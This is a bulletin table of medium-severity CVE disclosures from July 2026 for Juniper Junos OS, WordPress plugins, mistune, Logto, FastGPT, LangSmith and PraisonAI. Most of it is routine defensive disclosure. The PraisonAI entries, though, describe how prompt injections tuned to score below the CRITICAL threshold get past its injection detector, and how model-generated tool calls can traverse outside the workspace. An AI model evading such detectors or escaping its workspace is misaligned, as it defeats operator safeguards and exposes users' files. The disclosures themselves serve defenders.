| Juniper Networks-- Junos OS | An Out-of-bounds Write vulnerability in the http-gatekeeper (http-gk) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS). If an SRX Series device is configured for remote-access VPN with pre-logon compliance check, a network-based attacker sending specifically formatted requests can trigger an out of bounds write leading to an http-gk process crash. This crash leads to unavailability of all services depending on the [ system services web-management ] configuration (like J-Web, remote access VPN and firewall authentication) until the process automatically restarts. This issue affects Junos OS on SRX Series: * 23.2 versions before 23.2R2-S7, * 23.4 versions before 23.4R2-S8, * 24.2 versions before 24.2R2-S4, * 24.4 versions before 24.4R2-S4, * 25.2 versions before 25.2R2, * 25.4 versions before 25.4R1-S1, 25.4R2.                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-09 | 5.3        | <a href="#">CVE-2026-57021</a> |
| Juniper Networks-- Junos OS | An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX with SPC3 and SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS). When an affected device initiates a TCP connection to an attacker-controlled system that responds with a specific packet, this causes a PFE crash and restart, which affects all services until the system has automatically recovered. This issue can happen among others in the following scenarios: ALG, SSL proxy, UTM, RTLOG, AppQoE probing, AAMW, ICAP, URL filtering. This issue affects Junos OS on MX Series with SPC3, SRX5k Series with SPC3, SRX1600 Series, SRX2300 Series, SRX4000 Series, and vSRX Series: * all versions before 23.2R2-S4, * 23.4 versions before 23.4R2-S5, * 24.2 versions before 24.2R2.                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 5.9        | <a href="#">CVE-2026-57022</a> |
| Juniper Networks-- Junos OS | A Use of Multiple Resources with Duplicate Identifier vulnerability in the IKE daemon (iked) of Juniper Networks Junos OS on MX with SPC3 and SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS). On an MX with SPC3 and SRX devices configured for VPN service, when a large number of VPN negotiations fail a peer index rollover will eventually occur. As a result, new peers are assigned index values that are already in use and the iked process starts to crash repeatedly. This results in failure to establish new VPN connections and rekeying existing ones. To restore service the system must be rebooted. Please note that the index value can't be monitored, so customers should monitor tunnel up and down events and if a lot of events occur over an extended period of time it becomes likely that this issue occurs. To be exposed to this issue the system needs to run iked (vs. kmd which is not affected), which can be verified with: user@host> show system processes extensive   match "KMD IKED" This issue affects Junos OS on MX with SPC3, SRX Series: * all versions before 23.2R2-S7, * 23.4 versions before 23.4R2-S6, * 24.2 versions before 24.2R2-S3, * 24.4 versions before 24.4R2-S4, * 25.2 versions before 25.2R1-S1. | 2026-07-09 | 5.3        | <a href="#">CVE-2026-57024</a> |
| Juniper Networks-- Junos OS | A Return of Pointer Value Outside of Expected Range vulnerability in the fileio library of Juniper Networks Junos OS and Junos OS Evolved allows a local, low-privileged attacker to cause a Denial-of-Service (DoS). On EX Series, QFX Series and MX Series a low-privileged attacker issuing a specific 'show l2-learning' command will cause an l2ald crash which will lead to a temporary service impact for all layer 2 services until the process has automatically restarted. This issue affects EX Series, QFX Series, MX Series: Junos OS: * all versions before 23.2R2-S7, * 23.4 versions                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-09 | 5.5        | <a href="#">CVE-2026-57025</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                             | before 23.4R2-S7, * 24.2 versions before 24.2R2, * 24.4 versions before 24.4R1-S2. Junos OS Evolved: * all versions before 23.2R2-S7-EVO, * 23.4 versions before 23.4R2-S8-EVO, * 24.2 versions before 24.2R2-EVO, * 24.4 versions before 24.4R1-S3-EVO.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| Juniper Networks-- Junos OS | A Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on SRX Series allows an unauthenticated, network-based attacker to cause a Denial-of-Service (DoS). As part of the stateful traffic processing on SRX Series devices flows are being established, and removed when not needed anymore. During the removal process the timeout of a flow should be set to 3 seconds and consequentially the flow should be removed shortly after. Due to a race condition occurring when setting the timeout there is a chance (the exact conditions are outside the attackers control) that the timeout is instead set to a very high value of larger than 10,000 seconds: user@host> show security flow session   match timeout Session ID: 98784248524, Policy name: PROD-FLOW/4, HA State: Active, Timeout: 85250, Session State: Valid This will lead to an accumulation of flows which can be observed by an ever-increasing value of invalidated sessions in the output of 'show security flow session summary': user@host> show security flow session summary   match invalid Invalidated sessions: 216931 These sessions can't be cleared manually with the 'clear security flow session' command, which will either lead to forwarding to stop (and the system needs to be manually recovered with a reboot) or to a flowd core and automatic reboot. This issue affects Junos OS on SRX Series: * 24.2 versions before 24.2R2-S3, * 24.4 versions before 24.4R2-S1, 24.4R2-S2, * 25.2 versions before 25.2R1-S2, 25.2R2. This issue does not affect releases earlier than 24.2R1; | 2026-07-09 | 5.9        | <a href="#">CVE-2026-57030</a> |
| Juniper Networks-- Junos OS | A Use of Incorrectly-Resolved Name or Reference vulnerability in the URL filtering plugin of Juniper Networks Junos OS on MX Series allows an unauthenticated, network-based attacker to bypass web filtering and access downstream resources that should be unreachable. If an MX Series device is configured with web filtering, and an attacker sends a request with a specifically formatted URL, this request will get forwarded despite the system being configured to block it. In turn, an attacker can access downstream resources that are expected to be unreachable. This issue affects Junos OS on MX Series: * all versions before 23.2R2-S7, * 23.4 versions before 23.4R2-S8, * 24.2 versions before 24.2R2-S5, * 24.4 versions before 24.4R2-S4, * 25.2 versions before 25.2R2-S1, * 25.4 versions before 25.4R1-S2, 25.4R2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-09 | 5.8        | <a href="#">CVE-2026-57054</a> |
| Juniper Networks-- Junos OS | A NULL Pointer Dereference vulnerability in the management daemon (mgd) of Juniper Networks Junos OS and Junos OS Evolved allows a local, high-privileged attacker setting or deactivating a specific SSH configuration parameter to create a Denial of Service (DoS). A local high-privileged user configuring or deactivating a specific 'system services ssh' configuration parameter can exploit a null pointer dereference in one of the functions used by SSH. The function attempts to dereference a null pointer when accessing certain configuration data, resulting in an mgd process crash and restart. Continued execution of these configuration commands will create a sustained Denial of Service (DoS) condition. This issue affects: Junos OS: * from 22.3 before 22.3R3-S5; * from 22.4 before 22.4R3-S10; * from 23.2 before 23.2R2-S7; * from 23.4 before 23.4R2-S8. This issue does not affect Junos OS before 22.3R1. Junos OS Evolved: * from 22.3R1-EVO before 23.2R2-S7-EVO; * from 23.4 before 23.4R2-S8-EVO. This issue does not affect Junos OS Evolved before 22.3R1-EVO.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 4.4        | <a href="#">CVE-2026-21901</a> |
| Juniper Networks-- Junos OS | An Out-of-bounds Write vulnerability in the SNMP daemon (snmpd) of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker sending specific valid SNMPv3 queries to trigger a memory leak. Over time, continuous receipt of these queries will result in snmpd process memory exhaustion, resulting in a process crash and restart, impacting the ability to monitor the system via SNMP. Memory usage can be monitored using the following command: user@device> show system processes extensive   match                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-09 | 4.3        | <a href="#">CVE-2026-33799</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                     | snmpd This issue affects: Junos OS: * all versions before 21.2R3-S8; * from 21.4 before 21.4R3-S7; * from 22.1 before 22.1R3-S6; * from 22.2 before 22.2R3-S4; * from 22.3 before 22.3R3-S3; * from 22.4 before 22.4R3-S2; * from 23.2 before 23.2R2; * from 23.4 before 23.4R2. Junos OS Evolved: * all versions before 21.2R3-S8-EVO; * from 21.4 before 21.4R3-S7-EVO; * all versions of 22.1-EVO, * from 22.2 before 22.2R3-S4-EVO; * from 22.3 before 22.3R3-S3-EVO; * all versions of 22.4-EVO, * from 23.2 before 23.2R2-EVO; * from 23.4 before 23.4R2-EVO.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| Juniper Networks--Junos OS                                          | An Improper Check for Unusual or Exceptional Conditions vulnerability in the packet forwarding engine (PFE) of Juniper Networks Junos OS on MX Series allows adjacent subscribers to bypass configured firewall filters. On MX Series devices with MPC10/11, LC4800/9600, and MX304 with subscribers configured on static interfaces, ingress firewall filters are not enforced, so that neither protocol level nor upstream bandwidth limitation are in effect. This issue affects Junos OS on MX with MPC10/11, LC4800/9600/4802, and MX304: * 23.2 versions from 23.2R2-S1 before 23.2R2-S7, * 23.4 versions from 23.4R2 before 23.4R2-S7, * 24.2 versions before 24.2R2-S3, * 24.4 versions before 24.4R2-S2, * 25.2 versions before 25.2R2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-09 | 4.7        | <a href="#">CVE-2026-57031</a> |
| Juniper Networks--Junos OS Evolved                                  | An Improper Restriction of Communication Channel to Intended Endpoints vulnerability in Juniper Networks Junos OS Evolved allows an unauthenticated, network-based attacker to cause a limited information disclosure and availability impact to the device. Due to a wrong initialization, a process which should only be able to communicate internally within the device can be reached over the network via an open port. This leads to a device being inadvertently exposed and increased CPU cycles spent processing ingress packets. This issue affects Junos OS Evolved: * all versions before 23.2R2-S7-EVO, * 23.4 versions before 23.4R2-S8-EVO, * 24.2 versions before 24.2R2-S5-EVO, * 24.4 versions before 24.4R2-S4-EVO, * 25.2 versions before 25.2R2-S1-EVO, * 25.4 versions before 25.4R1-S2-EVO.                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 6.5        | <a href="#">CVE-2026-33803</a> |
| Juniper Networks--Junos OS Evolved                                  | An Improper Check for Unusual or Exceptional Conditions vulnerability in the advanced forwarding toolkit (evo-aftmand) of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated network-based attacker generating continuous routing updates, resulting in unilist ECMP routes, to crash the evo-aftmand process on the PFE, leading to a Denial-of-Service (DoS). The conditions required for successful exploitation are based on a sequence of events that are outside an attacker's direct control. Unified list (unilist) ECMP routes are a specific ECMP behavior where multiple equal-cost routes share a single logical next-hop list entry. The router treats them as one route with multiple next hops and load balances traffic across that unified list. Due to an issue processing unilist ECMP routing updates, internal state corruption may occur, especially in large-scale ECMP unilist deployments, leading to the evo-aftmand process crashing, resulting in an evo-aftmand-bx core. Manual intervention is required to recover by rebooting the system or restarting the FPC. This issue affects Junos OS Evolved on PTX : * from 24.4R2-EVO before 24.4R2-S3-EVO; * from 25.2 before 25.2R2-EVO. | 2026-07-09 | 5.9        | <a href="#">CVE-2026-33794</a> |
| Juniper Networks--Junos OS Evolved                                  | A Missing Synchronization vulnerability in the flow collector handler of Juniper Networks Junos OS Evolved on QFX Series allows an adjacent, unauthenticated attacker to cause a Denial-of-Service (DoS). When the reachability of an sFlow collector changes, the corresponding next-hop entry is updated. If this update occurs simultaneously with the sFlow thread accessing the next-hop data (which is outside the attackers control), it causes the evo-pfemand process to crash, impacting all traffic forwarding until the automatic process restart has completed. This issue affects Junos OS Evolved on QFX Series: * all 23.2 versions, * 23.4 versions before 23.4R2-S7-EVO, * 24.2 versions before 24.2R2-S5-EVO, * 24.4 versions before 24.4R2-S3-EVO, * 25.2 versions before 25.2R2-EVO.                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-09 | 5.3        | <a href="#">CVE-2026-57029</a> |
| kingaddons--King Addons for Elementor 80+ Elementor Widgets, 4 000+ | The King Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_page_id' parameter in versions up to, and including, 51.1.62 This is due to insufficient input sanitization in the add_to_submissions() function, which applies sanitize_text_field() (which preserves double-quote characters) before storing the value in post meta, combined with missing output                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-10 | 6.4        | <a href="#">CVE-2026-15284</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Elementor Templates, WooCommerce, Mega Menu, Popup Builder                  | escaping in the king_addons_submissions_custom_column_content() function, which concatenates the stored value into an HTML href attribute via admin_url() without wrapping the result in esc_url(). This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| kitae-park--Mang Board WP                                                   | The Mang Board WP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'stag' parameter in all versions up to, and including, 2.3.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-09 | 6.1        | <a href="#">CVE-2026-13334</a> |
| labring--FastGPT                                                            | FastGPT is an open source AI knowledge base platform. From 4.14.17 to before 4.15.0-beta4, FastGPT allows an authenticated tenant user to call POST /api/core/dataset/collection/create/reTrainingCollection in a way that persists a server-owned datasetId value from another tenant. This creates mixed dataset objects and downstream dataset, collection, and training endpoints then make authorization decisions from inconsistent ownership anchors, allowing cross-tenant read, update, and delete access when mixed object ids are known. This issue is fixed in version 4.15.0-beta4.                                                                                                                                                                                                                                                                                                                               | 2026-07-07 | 6.3        | <a href="#">CVE-2026-54601</a> |
| langchain-ai--langsmith-sdk                                                 | LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to 0.8.18, an attacker who can send an HTTP request to a server running the LangSmith SDK's TracingMiddleware can cause that server to read an arbitrary file from its local filesystem and upload the contents to LangSmith as a trace attachment. Depending on how the distributed trace system is deployed, triggering a read may not require authentication. Retrieving the contents requires read access to the LangSmith workspace the traces are sent to. The net effect is a trust-boundary crossing: a party with workspace trace-read access (for example a low-privilege workspace member, a contractor, or a compromised teammate account) gains the ability to read files from any server running TracingMiddleware, a capability outside that workspace's intended trust boundary. This vulnerability is fixed in 0.8.18. | 2026-07-06 | 5          | <a href="#">CVE-2026-59152</a> |
| Leantime--Leantime                                                          | A vulnerability has been found in Leantime up to 3.8.0. This impacts the function editUser/addUser of the component JSON-RPC Endpoint. The manipulation of the argument role leads to improper authorization. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15509</a> |
| Leantime--Leantime                                                          | A vulnerability was found in Leantime up to 3.8.0. Affected is the function Setting::saveSetting of the component API. The manipulation results in improper authorization. The attack may be performed from remote. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15510</a> |
| leap13--Premium Addons for Elementor Powerful Elementor Templates & Widgets | The Premium Addons for Elementor - Powerful Elementor Templates & Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'premium_tooltip_text' parameter in all versions up to, and including, 4.11.84 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload is specifically triggered when an administrator or higher-privileged user opens the affected post in the Elementor editor, as the raw unescaped output occurs via the print_template() method registered on the 'elementor/section/print_template' hook rather than on the public-facing frontend.                                                                                                      | 2026-07-11 | 4.9        | <a href="#">CVE-2026-12141</a> |
| lepture--mistune                                                            | Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, HTMLRenderer.safe_url() does not block percent-encoded javascript URIs, allowing                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-08 | 6.1        | <a href="#">CVE-2026-59923</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                  | attacker-supplied Markdown links or images to bypass URL protections and execute script in rendered HTML. This issue is fixed in version 3.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| lepture--mistune                                                                 | Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the safe_url filter in src/mistune/renderers/html.py blocks only javascript:, vbscript:, file:, and data: schemes, allowing legacy or chained schemes such as feed:, view-source:, jar:, livescript:, mocha:, ms-its:, mk:, and res: to reach rendered href and src attributes and potentially execute script in affected user agents. This issue is fixed in version 3.3.0.                                                                                                                 | 2026-07-08 | 6.1        | <a href="#">CVE-2026-59929</a> |
| lepture--mistune                                                                 | Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, Include.parse() joins and normalizes user-supplied include paths without verifying that the result remains within the intended markdown directory, allowing crafted include paths to access files outside that directory when markdown files are processed using md.read(). This issue is fixed in version 3.3.0.                                                                                                                                                                            | 2026-07-08 | 5.9        | <a href="#">CVE-2026-59924</a> |
| lepture--mistune                                                                 | Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the Include directive in src/mistune/directives/include.py detects only direct self-includes and not indirect cycles, allowing two markdown files that include each other to trigger unbounded recursion, raise RecursionError, and crash the rendering request. This issue is fixed in version 3.3.0.                                                                                                                                                                                       | 2026-07-08 | 5.3        | <a href="#">CVE-2026-59927</a> |
| lepture--mistune                                                                 | Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, the toc plugin and TableOfContents directive generate heading IDs as predictable toc_N values without slugifying the heading text, allowing attacker-controlled id="toc_N" content to collide with generated anchors and redirect same-page navigation, CSS selectors, or JavaScript handlers. This issue is fixed in version 3.3.0.                                                                                                                                                         | 2026-07-08 | 4.3        | <a href="#">CVE-2026-59930</a> |
| Limatek System Inc.--LimRAD NAC                                                  | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Limatek System Inc. LimRAD NAC allows Stored XSS. This issue affects LimRAD NAC: through 08072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                          | 2026-07-08 | 4.8        | <a href="#">CVE-2026-6371</a>  |
| logichunt--Logo Slider WP Responsive Logo Carousel, Logo Gallery & Logo Showcase | The Logo Slider - Logo Carousel, Client Logo Slider & Brand Showcase for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'lgx_tooltip_position' parameter in all versions up to, and including, 5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                       | 2026-07-10 | 6.4        | <a href="#">CVE-2026-13247</a> |
| logto-io--logto                                                                  | Logto is the modern, open-source auth infrastructure for SaaS and AI apps. Prior to 1.41.0, @logto/core reflected the SAML RelayState, SAMLResponse, and actionUrl into a Logto-origin auto-submit HTML form in packages/core/src/saml-application/SamlApplication/utlis.ts without HTML-attribute escaping. A SAML application flow with a crafted RelayState from GET or POST /api/saml/:id/authn could inject script that runs on the Logto tenant origin after the user completes login. This issue is fixed in version 1.41.0.                                          | 2026-07-10 | 6.1        | <a href="#">CVE-2026-54714</a> |
| logto-io--logto                                                                  | Logto is the modern, open-source auth infrastructure for SaaS and AI apps. Prior to 1.41.0, Logto's existing TOTP verification accepted a successfully used TOTP code again while the code remained inside the RFC 6238 acceptance window because the verifier used otplib's stateless check with window = 1 and did not persist or compare the accepted TOTP time-step counter. An attacker who has the victim's first factor and captures a live TOTP value can replay that value to satisfy MFA during the same acceptance window. This issue is fixed in version 1.41.0. | 2026-07-10 | 6.4        | <a href="#">CVE-2026-55370</a> |
| looswebstudio--Highlighting Code Block                                           | The Highlighting Code Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an                                                                                                                                                          | 2026-07-10 | 4.4        | <a href="#">CVE-2026-12108</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                  | injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| lustmored--<br>Lockme calendars integration                                      | The Lockme OAuth2 calendars integration plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'App ID' setting in all versions up to, and including, 2.11.0. This is due to insufficient input sanitization and output escaping. The register_setting() call on line 197 lacks a sanitize callback, allowing unsanitized data to be stored via update_option(). When the settings page is rendered, the stored value is echoed directly into an HTML input's value attribute without esc_attr() on line 212. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in the settings page that will execute whenever a user accesses the plugin settings page. Multiple fields are affected: App ID (client_id), App Secret (client_secret), Bookings ID prefix (id_prefix), and API domain (api_domain). This vulnerability is particularly impactful in WordPress multisite installations where administrators of individual sites should not be able to execute JavaScript affecting other users. | 2026-07-11 | 4.4        | <a href="#">CVE-2026-3367</a>  |
| macrozheng--mall                                                                 | A vulnerability was identified in macrozheng mall up to 1.0.3. This impacts an unknown function of the file /returnApply/create of the component Portal Endpoint. The manipulation of the argument orderId leads to improper control of resource identifiers. The attack can be initiated remotely. The exploit is publicly available and might be used. The vendor deleted the GitHub issue for this vulnerability without any explanation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-09 | 6.3        | <a href="#">CVE-2026-15186</a> |
| manjurulhoque--<br>django-job-portal                                             | A weakness has been identified in manjurulhoque django-job-portal up to dfa352f305bba44445ac5dc12e9b2a98c9dcd71f. Affected by this vulnerability is the function EditEmployeeProfileAPIView of the file accounts/api/views.py of the component Employee Dashboard Endpoint. This manipulation of the argument role causes improper access controls. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                               | 2026-07-09 | 6.3        | <a href="#">CVE-2026-15188</a> |
| matrixaddons--<br>Easy Invoice<br>Invoice Generator,<br>PDF Quotes &<br>Payments | The Easy Invoice plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.19. This is due to the plugin registering the easy_invoice_accept_quote and easy_invoice_decline_quote AJAX actions via wp_ajax_nopriv_hooks and relying solely on a quote-scoped nonce that is rendered into the publicly accessible single quote template, combined with an ownership check that is gated behind an off-by-default Pro option (easy_invoice_pro_restrict_quote_to_client). This makes it possible for unauthenticated attackers to accept or decline arbitrary published quotes - and, depending on the configured accept action, automatically convert them into invoices (and even email them to the client) - by harvesting the per-quote nonce from the public quote page and submitting it to admin-ajax.                                                                                                                                                                                                                                             | 2026-07-09 | 5.3        | <a href="#">CVE-2026-9021</a>  |
| mdempfle--<br>Advanced iFrame                                                    | The Advanced iFrame plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'additional' parameter in all versions up to, and including, 2026.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 6.4        | <a href="#">CVE-2026-6742</a>  |
| MervinPraison--<br>PraisonAI                                                     | PraisonAI Platform (praisonai-platform) before 0.1.9 improperly authorizes deletion of issue dependencies. The DELETE dependency route accepts either endpoint of a dependency edge and checks delete permission only against the caller-selected URL issue. A workspace member who cannot delete a dependency through an owner-created issue endpoint (which returns 403) can delete the same dependency edge by targeting a related member-owned issue endpoint, because permission is validated against the member-owned issue's owner. This allows                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-10 | 6.5        | <a href="#">CVE-2026-61441</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                      | members to bypass owner/admin authorization and remove owner-created issue dependencies.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| MervinPraison--PraisonAI                                             | PraisonAI before 4.6.78 contains a prompt injection defense bypass vulnerability where the injection defense only blocks threats classified as CRITICAL, requiring three or more detector families to match simultaneously. Attackers can craft single or double-vector prompt injections that are classified as HIGH threat level and pass through unblocked to reach the model.                                                                                                                                                                                                                                                                                                                               | 2026-07-10 | 5.3        | <a href="#">CVE-2026-60086</a> |
| MervinPraison--PraisonAI                                             | PraisonAI before 4.6.78 fails to validate file path references in custom command templates, allowing attackers to read files outside the workspace. Attackers can include path traversal sequences like @../outside_secret.txt or absolute paths in project command files to exfiltrate process-readable files into model prompts.                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-11 | 5.5        | <a href="#">CVE-2026-60088</a> |
| MervinPraison--PraisonAI                                             | PraisonAI (pip package praisonaiagents) before 1.6.78 automatically loads defaults from a project-local .praisonai/config.toml when constructing an Agent, and does not validate the defaults.output.output_file path. A repository-controlled config file can set output_file to an absolute or '..' traversal path; when the developer subsequently calls agent.start() without explicitly passing an output parameter, PraisonAI writes the agent response to that path (creating parent directories as needed), allowing an untrusted checked-out project to overwrite files outside the project root with the privileges of the user running PraisonAI.                                                    | 2026-07-10 | 5.5        | <a href="#">CVE-2026-60089</a> |
| MervinPraison--PraisonAI                                             | PraisonAI before 4.6.78 contains a path traversal vulnerability in ContextGatherer that fails to validate include paths in .praisoncontext and .praisoninclude files. Attackers can supply absolute paths or parent directory traversal sequences to read arbitrary files outside the workspace and include their contents in the generated context bundle.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-10 | 5.5        | <a href="#">CVE-2026-61431</a> |
| MervinPraison--PraisonAI                                             | PraisonAI (praisonaiagents) before 1.6.78 contains a path traversal vulnerability in the FastContext feature (praisonaiagents.context.fast). FastContextAgent.execute_tool() prepends the configured workspace_path only for relative paths and neither rejects absolute paths nor canonicalizes joined paths before enforcing workspace containment. As a result, tool arguments or model-generated function calls to grep_search, glob_search, read_file, or list_directory can supply absolute paths or '../' traversal sequences to read, search, and enumerate files outside the intended workspace directory, with file contents returned to the caller or injected into the model's tool-result context. | 2026-07-10 | 5.7        | <a href="#">CVE-2026-61432</a> |
